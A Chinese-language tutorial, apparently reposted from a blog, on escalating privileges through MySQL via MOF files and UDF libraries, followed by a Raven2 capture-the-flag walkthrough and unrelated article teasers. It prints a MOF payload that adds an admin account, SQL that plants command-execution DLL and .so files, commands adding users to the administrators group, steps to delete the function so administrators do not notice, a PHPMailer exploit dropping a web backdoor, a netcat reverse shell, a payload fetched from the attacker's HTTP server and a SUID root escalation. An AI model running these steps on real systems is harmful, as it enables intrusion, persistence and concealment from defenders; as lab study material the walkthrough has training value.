提權實戰!

就是提升權限,當我們拿到一個shell權限較低,當滿足MySQL提權的要求時,就可以進行這個提權。

MySQL數據庫提權(Privilege Escalation)是指攻擊者通過技術手段,從低權限的數據庫用戶提升到更高權限(如root管理員),從而獲得對數據庫或操作系統的控制權。這種行為通常屬于非法入侵,嚴重威脅數據安全。

1. MySQL提權必要條件

  1. 有root權限,以system權限運行
  2. 可以執行SQL語句

1.1. 獲取root密碼

  1. 查看數據庫關鍵配置文件

關鍵字:config,coon,sql,data,inc,database

可以以SQLconnection為一個列子看看

在以inc為后綴的文件中MySQL的用戶密碼都在,這就是數據庫關鍵文件

  1. 下載MySQL安裝路徑下的數據文件

(1)安裝路徑下的 data 目錄中存放的是數據庫的數據信息

(2)root 賬號密碼存儲在 mysql 數據庫下的 user 表中

(3)完整路徑=安裝路徑+\data\mysql\user.MYD

這個就是當我們拿到shell后,找到MySQL安裝路徑,在MySQL中data文件的mysql文件夾中的user.MYD,

user.MYD文件中有密碼,不過是經過MD5加密的,我們可以進行解碼

打開如下圖所示

去cmd5網站解密,🆗完成

  1. 暴力破解

2. MySQL 提權的方式

2.1. MOF 提權

原理

利用了 C:\Windows\System32\wbem\MOF 目錄下的 nullevt.mof 文件,利用該文件每分鐘會去執行一次的特性,向該文件中寫入 cmd 命令,就會被執行。

條件

  • 針對windows低系統,如xp,server2003.
  • 需要對C:\Windows\System32\wbem\MOF目錄具有讀寫權限。
  • 找到目錄寫入mof文件。

2.1.1. 提權操作

1、在可寫目錄中上傳 mof 文件。把 mof 文件上傳到 C:/wmpub/nullevt.mof

2、把這個文件復制到 C:/Windows/System32/wbem/MOF/nullevt.mof 目錄下 select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'

將下面這段代碼復制到 mof 后綴的文件中

# pragma namespace("\.\root\subscription")

instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2";

Query = "Select * From InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL"; };

instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new

ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";

};

instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};

把這個 mof 文件上傳到目標機中,可以修改代碼,進行命令執行。

目前 mof 提權方法用的比較少,建議使用 udf 腳本進行 MySQL 數據庫提權

2.1.2. 應急措施

  1. 停止winmgmt服務:net stop winmgmt
  2. 將文件先備份,再刪除文件夾:C:\Windows\System32\wbem\Repository
  3. 再啟動winmgmt服務:net start winmgmt

2.2. UDF提權

原理

UDF(user defind funtion)用戶自定義函數,通過添加新的函數,對數據庫進行命令執行。

2.2.1. 收集信息

進行udf提權是有條件的,符合條件方可進行

  1. select version(); 獲取數據庫版本
  2. select user(); 獲取數據庫用戶名,因為我們 要擁有最高權限第一標題說過
  3. select @@basedir; 獲取數據庫安裝目錄
  4. show variables like '%plugin%'; 查看 plugin 路徑

2.2.2. Windows-udf提權

UDF可以理解為MySQL的函數庫,用來放一些新的函數(自定義函數)。

在符合MySQL的語法情況下,可以調用UDF文件中的函數,

利用這一特性,我們可以上傳一個惡意的udf文件(主要功能:執行命令 udf.dll),使MySQL調用dll中的函數實現某些功能(MySQL本身不能執行命令)。

2.2.2.1. 條件
  1. MySQL版本>5.1

udf.dll文件必須放在MySQL安裝目錄的 MySQL\Lib\Plugin\文件夾下,該目錄默認是不存在的,需要使用 webshell 找到 mysql 的安裝目錄,并在安裝目錄下創建 MySQL\Lib\Plugin\文件夾,(當我們創建完后,還可使用4指令查看是否成功)然后將 udf.dll 導入到該 目錄。(后面工具使用情況下也是一樣的,需將文件夾創建好才可以將udf.dll文件導入

  1. MySQL版本<5.1

udf.dll 文件在 windows server 2003 下放置于 c:/windows/system32/目錄,在 windows server 2000 下放置在 c:/winnt/system32/目錄。掌握 mysql 數據庫的 root 賬戶,從而擁有對 mysql 的 insert 和 delete 權限,以創建和拋棄函數。

2.2.2.2. 提權步驟

對于數據庫的寫入文件什么的,會有一個 secure_file_priv 函數,該函數是用來限制讀寫的,它具有三種方式:同時在學習筆記的數據庫提權數據庫權限獲取中手寫木馬也有涉及

1、secure_file_priv 的值為 NULL,表示限制 mysql 不允許導入|導出

2、當 secure_file_priv 的值為/tmp/ ,表示限制 mysql 的導入|導出只能發生在/tmp/目錄 下(其他目錄也可以)

3、當 secure_file_priv 的值沒有具體值時,表示不對 mysql 的導入|導出做限制

打開虛擬機,首先對secure_file_priv 設置為空,只有為空時才能不對MySQL的輸入和輸出有限制

2.2.2.2.1. DLL 文件的獲取方法:

sqlmap/data/udf/mysql 目錄下,在 Windows 目錄中有 32 位和 64 位的 dll 文件 (MySQL 位數)。

1,解碼 將這個被sqlmap加密的dll文件進行解碼

文件夾中的 dll 文件是通過異或編碼的,可以使用 sqlmap/extract/cloak.py 進行解碼

python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_

2,通過loadfile加載剛剛解碼的內容, 將解碼的內容寫入到 lib/plugin

將解碼后的 DLL 文件(包含用戶自定義函數的 DLL 文件)上傳到可寫目錄,再導入 到 MySQL\lib\plugin\中

select LOAD_FILE('C:/可寫目錄/lib_mysqludf_sys.dll') into dumpfile 'C:/phpStudy2016/MySQL/lib/plugin/lib_mysqludf_sys.dll';

將 DLL 中的函數引入到 MySQL 數據庫中

3,創建自定義函數

create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

創建名為 sys_eval 的函數,返回值為 string 類型,調用的文件是 lib_mysqludf_sys.dll

注意:需要創建.dll 文件中存在的函數,可以使用十六進制編輯器打開.dll 文件,查看可以被創建的函數。

使用該函數去執行系統命令提權

查看當前用戶權限

select sys_eval("whoami");

創建賬號并提升為管理員權限

select sys_eval("net user winhex passw@ord /add");

select sys_eval("net localgroup administrators winhex /add");

將之前引入的函數刪除掉防止被管理員發現,防止其他攻擊者使用

drop function sys_eval; delete from mysql.func where name='sys_eval';

2.2.2.2.2. 工具使用UDF提權

由于我電腦Java環境不適用于該工具,所以使用另外一個Java版本,啟動該工具要在Java文檔的bin文檔使用命令行,方可使用。

右鍵新增添加,如圖所示:

當MySQL存在\Lib\Plugin\ 時工具導入成功

創建文件如下圖

查看當前用戶權限

select sys_eval("whoami"); 發現具有回應,說明函數eval創建成功

2.2.3. Linux-udf提權

  • 通過自定義函數來實現任何命令
  • 包含自定義函數的文件為 .so 文件
2.2.3.1. 利用條件

?在 my.ini 的[mysqld]下,添加 secure_file_priv="",不限制導入導出路徑

?具有數據庫 root 賬戶的密碼,且 mysql 數據庫以 root 權限運行

?具有 sql 語句的執行權限(一般都具有)

?導出目錄可寫( secure_file_priv 函數

?系統中的 selinux 處于關閉狀態

2.2.3.2. 提權步驟
  1. 查找插件庫的路徑

show variables like '%plugin%';

使我們找到 plugin ,因為我們需要將后續創建的函數導入該文件夾中,上面說過udf解碼后的文件必須在該文件夾中才可以使用

找到對應操作系統數據庫的 UDF 庫文件

sqlmap-master\data\udf\mysql\linux\64 下的 lib_mysqludf_sys.so_文件

將 so 文件(UDF 庫文件)進行 16 進制編碼

將 so 文件的內容解碼,寫入到 mysql 插件庫目錄中

select unhex('so 文件的 16 進制編碼') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'

查看 udf 庫所支持的函數

注意:需要創建.so 文件中存在的函數,可以使用十六進制編輯器打開.so 文件,查看可以被創建的函數。

創建函數

寫入之后,執行創建函數的命令,就會創建一個 sys_eval 的函數,用來執行系統命 令,這個函數執行的系統命令全部都是 system 權限。

create function sys_eval returns string soname 'xxx.so'; 執行系統命令,提權

sys_eval 這個函數就可以執行系統命令,括號里輸入系統命令即可。

查看當前用戶權限

select sys_eval("whoami");

創建賬號并提升為管理員權限不需要判斷 mysql 的版本,直接查看路徑,直接寫 so 文件,Linux 里面的文件是 so 文 件。

getshell 之后,在終端輸入 whoami,發現只是 apache 用戶權限。尋找網站的數據庫配置文件,查看數據庫的賬號密碼,可以看到賬號 root 密碼 root。登錄 mysql 數據庫,輸入 show variables like '%plugin%';查看 plugin 路徑。得到的結果為:

我們把 so 文件進行 16 進制編碼,再解碼寫入目錄中,返回為 true,寫入成功。

select unhex('so 文件的 16 進制編碼') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'

寫入之后,執行創建函數的命令,就會創建一個 sys_eval 的函數,用來執行系統命 令,這個函數執行的系統命令全部都是 system 權限。 create function sys_eval returns string soname 'xxx.so'; sys_eval 這個函數就可以執行系統命令,括號里輸入系統命令即可。

select sys_eval('whoami')

3. UDF提權實戰

使用虛擬機中的kali,再開啟靶機Raven2

靶機介紹:

靶場地址:https://www.vulnhub.com/entry/raven-2,269/靶機描述:Raven 2 是一個中級 boot2root VM。有 4 個 flag 要捕獲。

目標:獲取到四個 flag

3.1. 準備工作

事先我們的kali和raven要處于同一個網段,這樣就可以使用工具 namp 獲取靶機的IP地址進行訪問

ifconfigLinux中查詢IP

kali IP地址:192.168.119.128

使用nmap獲取靶機IP,使用arp-scan也可以

nmap -sP 192.168.119.1/24

arp-scan -l

發現使用arp-scan掃描出了D段為133的IP地址,并沒有掃出128的

所以大概率靶機的IP為:192.168.119.133

再使用nmap探測IP開放的端口

nmap -sV -p- 192.168.119.133

3.2. 進行訪問并查找flag

瀏覽器訪問該地址:192.168.119.133/80

當然可以不需要端口,因為HTTP服務端口本來就是80

接下來使用dirb爆破網站的子目錄,看看能不能獲取一些版本信息

dirb http://192.168.119.133:80

它掃描出來許多的分站,從一級目錄開始掃

我們可以對這些進行訪問選中 /vendor 目錄

當我們打開第一個文件,發現是一篇閱讀文件,沒找到什么

打開PATH文件,找到第一個flag->flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

在readme.md文件發現PHPmailer 插件 是一個漏洞

再打開下面的version文件可以看到PHPmailer 插件的版本為 5.2.16

3.2.1. 漏洞利用

現在使用searchsploit查詢是否有這個版本的exp

  1. “exp”是“exploit”的縮寫,意為漏洞利用代碼。在安全領域,它特指針對特定漏洞編寫的攻擊程序或腳本,用于觸發漏洞、獲取系統權限或執行其他惡意操作。
  2. PHPMailer:一個PHP郵件庫,歷史版本中存在已知漏洞。
  3. searchsploit:用戶提到的命令應為searchsploitExploit-DB的搜索工具),用于查詢公開的漏洞利用代碼(exp)。

searchsploit PHPMailer 本版本是 5.2.16 ,找到最近的python腳本

3.2.2. 確定漏洞利用腳本地址

3.2.2.1. 法 一

使用 -p 參數顯示單個條目的完整路徑

如果已知漏洞編號或相對路徑(例如 php/webapps/40974.py),可直接運行:

searchsploit -p php/webapps/40974.py

輸出示例:

Exploit: PHPMailer < 5.2.18 - Remote Code ExecutionURL: https://www.exploit-db.com/exploits/40974Path: /usr/share/exploitdb/exploits/php/webapps/40974.py
3.2.2.2. 法二

Python攻擊腳本的地址是通過以下步驟確定的:

使用searchsploit搜索漏洞
執行命令 searchsploit PHPMailer,工具會列出所有匹配的漏洞利用腳本及其路徑。例如:

  1. php/webapps/40974.py PHPMailer < 5.2.18 - Remote Code Execution
  2. 拼接完整路徑
    searchsploit的本地數據庫默認安裝在 /usr/share/exploitdb/,因此腳本的完整路徑為:
    /usr/share/exploitdb/exploits/php/webapps/40974.py

復制腳本到目標目錄
使用 cp 命令將腳本復制到指定位置(如 /root):

  1. cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root

關鍵點

  • searchsploit 輸出的路徑是相對于本地漏洞庫根目錄(/usr/share/exploitdb/)的。
  • 復制時需要補全完整路徑,格式為:/usr/share/exploitdb/exploits/[分類]/[子目錄]/[腳本名]


將腳本復制出來

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root

然后cat指令打開該文件對該腳本進行配置修改

3.2.3. vim編輯腳本

開啟了40974.py這一個python腳本,使用它向網址寫入一個后門文件

  1. vim 編輯文本 vim 40974.py

按i進入編輯

使用紅線標記的都為需要更改的

目標IP下一個修改為任意的PHP文件名

注:目標網址路徑一定要正確

目標路徑在獲得第一個flag時有,將該地址修改上去

更改好如下圖所示,再先按Esc :wq 保存退出

現在信息已經完畢,接下來使用python3運行該腳本,運行成功的標志為 [+]

運行成功,成功在目錄正生成shell文件

保存后退出,這個存在漏洞的網頁是在contact.php里,運行這個攻擊文件會自動在網站根目錄下面生成一個后門文件best.php

3.2.4. 對網址進行命令操作

  1. 建立監聽

nc -lvp 9999 ----->9999為我的端口

注意:我這種現象屬于當時vim編輯腳本的時候出現了問題,我把我的kali地址打錯了導致錯誤,找出錯誤花了一分鐘

將我的IP改正確

再次進行監聽,并且訪問之前創建的文件

發現還是監聽不了,仔細觀察腳本代碼是否有哪里錯誤,發現路徑多了一層vendor

改回來后,在訪問best.php,監聽成功!!!!

返回成功獲得shell

python -c 'import pty; pty.spawn("/bin/bash")' 使用該條命令獲取交互式 shell ,讓我們更方便操作

接著我們嘗試使用 find 查找 flag 文件

find / -name flag*

找了許多文件,慢慢找

直接在kail中找

/var/www/flag2.txt

找到

因為flag3是圖片類型,所以使用網址去看

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png

接下來還有一個flag4,肯定在以下目錄中。找根目錄

ls wordpress 打開這個,查看配置文件,因為我們需要拿到MySQL權限用來查找flag

關鍵字:config,coon,sql,data,inc,database

cd wordpress :切換至該目錄

cat wp-config.php 打開該文件

打開文件后發現是MySQL文件,文件中還有MySQL賬號密碼

username:root

password:R@v3nSecurity

然后就是登入這個數據庫了

mysql -u root -pR@v3nSecurity

直接登入數據庫

3.3. 對數據庫進行udf提權

由于 MySQL 支持 UDF,支持我們自定義函數來擴展功能。當我們創建帶有調用 cmd 函數的’udf.dll’(動態鏈接庫)。當我們把’udf.dll’導出指定文件夾引入 Mysql 時, 其中的調用函數拿出來當作 mysql 的函數使用。

提權條件

1)mysql 數據庫的 root 權限

2)secure_file_priv 的值為空

3)如果 mysql 版本大于 5.1,udf.dll 文件必須放置在 mysql 安裝目錄的 lib\plugin 文件夾下

4)如果 mysql 版本小于 5.1, udf.dll 文件在 windows server 2003 下放置于 c:\windows\system32 目錄,在 windows server 2000 下放置在 c:\winnt\system32 目錄。查看權限 SHOW GRANTS;

3.3.1. 流程

  1. 查看目前權限

show grants;

  1. 查看數據庫版本,一定要是大寫的,因為小寫的試過了

Select @@version();

版本大于5.1,因此我們接下來要創建文件

  1. 再查看secure_file_priv 的值符不符合條件

show global variables like 'secure%';

符合條件,MySQL版本大于5.1,所以要把udf這個文件放置在MySQL安裝目錄lib\plugin文件下才能創建自定義函數。

  1. 使用kali漏洞庫搜索udf

這里使用1518.c 將1518.c下載到本地,再cp到root目錄下

searchsploit udf

cp /usr/share/exploitdb/exploits/linux/local/1518.c /root

  1. 接下來將下載好的文件解碼

先執行 gcc -g -c 1518.c

再執行 gcc -g -shared -o test.so 1518.o -lc

命令解釋

-g 生成調試信息

-c 編譯(二進制)

-shared:創建一個動態鏈接庫,輸入文件可以是源文件、匯編文件或者目標文件。

-o:執行命令后的文件名

-lc:-l 庫 c 庫名

  1. 導入靶機tmp目錄

tmp目錄

  • tmp 目錄通常權限寬松,需防范惡意文件注入(如木馬、腳本)。
  • 可以利用開啟kali本地HTTP服務,讓靶機下載kali中test.so到靶機的tmp目錄

在kali中開啟http服務

python3 -m http.server 80

在shell中啟動下載test.so文件

wget http://192.168.119.128/test.so

當我們總是連接不上的時候,應該是IP地址更改了

下載成功

  1. 登入數據庫創建自定義函數

使用mysql庫,創建數據表test

use mysql;

create table test(line blob);

創建如圖所示

  1. 將test.so文件插入

insert into test values(load_file('/tmp/test.so')); 插入數據

檢查是否插入成功:select * from test into dumpfile '/usr/lib/mysql/plugin/test.so';

#( test 表成功插入二進制數據,然后利用 dumpfile 函數把文件導出 outfile 多行導出,dumpfile 一行導出 outfile 會有特殊的轉換,而 dumpfile 是原數據導出新建存儲函數)

  1. 創建自定義函數

create function do_system returns integer soname 'test.so';

#(創建自定義函數 do_system 類型是 integer,別名 soname 文件名字然后查詢函數是否創建成功)

select * from mysql.func;

查詢函數是否創建成功

select do_system('chmod u+s /usr/bin/find');

#(調用 do_system 函數來給 find 命令所有者的 suid 權限,使其可以執行 root 命令)

  1. 提權操作

退出 mysql,使用/usr/bin/find 提權

提權之前的權限如下圖

進行提權

touch test

find test -exec "/bin/sh" \;

成功提權為 root 權限

  1. 拿到第四個flag

進入root目錄拿第四個flag

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/78815.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/78815.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/78815.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

在虛擬機上修改saprk的版本

之前安裝的spark版本是3.4&#xff0c;現在實驗需要的版本是2.4。現在需要更改spark的版本。 方法很簡單&#xff1a; 直接將原有的spark3.4的文件刪除&#xff0c;再安裝2.4版本。 安裝過程之后再寫。Spark2.1.0入門&#xff1a;Spark的安裝和使用_廈大數據庫實驗室博客

文獻分享: DESSERT基于LSH的多向量檢索(Part3.2.外部聚合的聯合界)

原論文 文章目錄 1. \textbf{1. } 1. 定理 4.2 \textbf{4.2} 4.2的內容 1.1. \textbf{1.1. } 1.1. 一些符號 1.2. \textbf{1.2. } 1.2. 定理內容 3. \textbf{3. } 3. 聯合界限 Ps. \textbf{Ps. } Ps. 運行時間分析 1. \textbf{1. } 1. 定理 4.2 \textbf{4.2} 4.2的內容 1.1. \t…

MIPI協議介紹

MIPI協議介紹 mipi 協議分為 CSI 和DSI,兩者的區別在于 CSI用于接收sensor數據流 DSI用于連接顯示屏 csi分類 csi 分為 csi2 和 csi3 csi2根據物理層分為 c-phy 和 d-phy, csi-3采用的是m-phy 一般采用csi2 c-phy 和 d-phy的區別 d-phy的時鐘線和數據線是分開的,2根線一對…

【中間件】nginx反向代理實操

一、說明 nginx用于做反向代理&#xff0c;其目標是將瀏覽器中的請求進行轉發&#xff0c;應用場景如下&#xff1a; 說明&#xff1a; 1、用戶在瀏覽器中發送請求 2、nginx監聽到瀏覽器中的請求時&#xff0c;將該請求轉發到網關 3、網關再將請求轉發至對應服務 二、具體操作…

在3ds Max中視口顯示為黑色或深灰色

在3ds Max中視口顯示為黑色或深灰色 Autodesk Support 2023年10月8日 涵蓋的產品和版本 問題&#xff1a; 在3ds Max中&#xff0c;使用“深”UI方案時視口顯示為完全黑色&#xff0c;使用“淺”UI方案時視口顯示為深灰色。 原因&#xff1a; 已為用戶界面禁用Gamma校正。…

Vue.js 中 v-if 的使用及其原理

在 Vue.js 的開發過程中&#xff0c;條件渲染是一項極為常見的需求。v-if指令作為 Vue.js 實現條件渲染的關鍵手段&#xff0c;能夠根據表達式的真假來決定是否渲染某一塊 DOM 元素。它在優化頁面展示邏輯、提升用戶體驗等方面發揮著重要作用。接下來&#xff0c;我們就深入探討…

Verilog:LED呼吸燈

模塊接口說明 信號方向描述clk輸入系統時鐘&#xff08;100MHz&#xff0c;周期10ns&#xff09;rst_n輸入低電平有效的異步復位信號led_en輸入總使能信號&#xff08;1開啟呼吸燈&#xff0c;0關閉&#xff09;speed_en輸入呼吸速度調節使能信號speed[2:0]輸入呼吸速度分級&a…

我的計算機網絡(總覽篇)

總覽--網絡協議的角度 在一個龐大的網絡中&#xff0c;該從哪里去了解呢&#xff1f;我先細細的講一下我們訪問一個網站的全部流程&#xff0c;當我們的電腦連上網絡的時候&#xff0c;就會啟動DHCP協議&#xff0c;來進行IP地址&#xff0c;MAC地址&#xff0c;DNS地址的分配…

開源的PMPI庫實現及示例代碼

開源的PMPI庫實現及示例代碼 PMPI (Profiling MPI) 是MPI標準中定義的接口&#xff0c;允許開發者通過攔截MPI調用進行性能測量和調試。以下是幾個常用的開源PMPI庫實現&#xff1a; 1. MPICH的PMPI接口 MPICH本身提供了PMPI接口&#xff0c;可以直接使用。 2. OpenMPI的PM…

Unity 基于navMesh的怪物追蹤慣性系統

今天做項目適合 策劃想要實現一個在現有的怪物追蹤系統上實現怪物擁有慣性功能 以下是解決方案分享&#xff1a; 怪物基類代碼&#xff1a; ? using UnityEngine; using UnityEngine.AI;[RequireComponent(typeof(NavMeshAgent))] [RequireComponent(typeof(AudioSource))] …

PyTorch進階學習筆記[長期更新]

第一章 PyTorch簡介和安裝 PyTorch是一個很強大的深度學習庫&#xff0c;在學術中使用占比很大。 我這里是Mac系統的安裝&#xff0c;相比起教程中的win/linux安裝感覺還是簡單不少&#xff08;之前就已經安好啦&#xff09;&#xff0c;有需要指導的小伙伴可以評論。 第二章…

【區塊鏈安全 | 第三十八篇】合約審計之獲取私有數據(二)

文章目錄 前言漏洞代碼代碼審計攻擊步驟修復/開發建議審計思路前言 在【區塊鏈安全 | 第三十七篇】合約審計之獲取私有數據(一)中,介紹了私有數據、訪問私有數據實例、Solidity 中的數據存儲方式等知識,本文通過分析具體合約代碼進行案例分析。 漏洞代碼 // SPDX-Licens…

《微服務與事件驅動架構》讀書分享

《微服務與事件驅動架構》讀書分享 Building Event-Driver Microservices 英文原版由 OReilly Media, Inc. 出版&#xff0c;2020 作者&#xff1a;[加] 亞當 ? 貝勒馬爾 譯者&#xff1a;溫正東 作者簡介&#xff1a; 這本書由亞當貝勒馬爾&#xff08;Adam Bellemare…

小剛說C語言刷題——第22講 二維數組

昨天我們講了一維數組&#xff0c;今天我們來講二維數組。 1.定義 二維數組是指在數組名后跟兩個方括號的數組。 2.語法格式 數據類型 數組名[下標][下標] 例如&#xff1a;int a[5][9];//表示5行9列的數組 3.訪問二維數組元素 格式&#xff1a;數組名[行坐標][列坐標]…

Vue 大文件分片上傳組件實現解析

Vue 大文件分片上傳組件實現解析 一、功能概述 1.1本組件基于 Vue Element UI 實現&#xff0c;主要功能特點&#xff1a; 大文件分片上傳&#xff1a;支持 2MB 分片切割上傳實時進度顯示&#xff1a;可視化展示每個文件上傳進度智能格式校驗&#xff1a;支持文件類型、大小…

「邏輯推理」AtCoder AT_abc401_d D - Logical Filling

前言 這次的 D 題出得很好&#xff0c;不僅融合了數學邏輯推理的知識&#xff0c;還有很多細節值得反復思考。雖然通過人數遠高于 E&#xff0c;但是通過率甚至不到 60%&#xff0c;可見這些細節正是出題人的側重點。 題目大意 給定一個長度為 N N N 的字符串 S S S&#…

騰訊后臺開發 一面

一、手撕 合并升序鏈表 合并兩個排序的鏈表_牛客題霸_牛客網 順時針翻轉矩陣 順時針旋轉矩陣_牛客題霸_牛客網 二、八股 1、靜態變量和實例變量 public class House {public static String buildDate "2024-10-27"; // 靜態變量public String color; // 實…

Unity 動畫

Apply Root Motion 勾選的話就會使用動畫片段自帶的位移 Update Mode &#xff08;動畫重新計算骨骼位置轉向縮放的數值&#xff09;&#xff1a; Normal &#xff1a; 隨Update走&#xff0c;每次Update都計算Animate Physics &#xff1a;與 fixed Update() 同步&#xff0…

NDT和ICP構建點云地圖 |【點云建圖、Ubuntu、ROS】

### 本博客記錄學習NDT&#xff0c;ICP構建點云地圖的實驗過程&#xff0c;參考的以下兩篇博客&#xff1a; 無人駕駛汽車系統入門&#xff08;十三&#xff09;——正態分布變換&#xff08;NDT&#xff09;配準與無人車定位_settransformationepsilon-CSDN博客 PCL中點云配…

基于HTML + jQuery + Bootstrap 4實現(Web)地鐵票價信息生成系統

地鐵票價信息表生成系統 1. 需求分析 1.1 背景 地鐵已經成為大多數人出行的首選,北京地鐵有多條運營線路, 截至 2019 年 12 月,北京市軌道交通路網運營線路達 23 條、總里程 699.3 公里、車站 405 座。2019 年,北京地鐵年乘客量達到 45.3 億人次,日均客流為 1241.1 萬人次…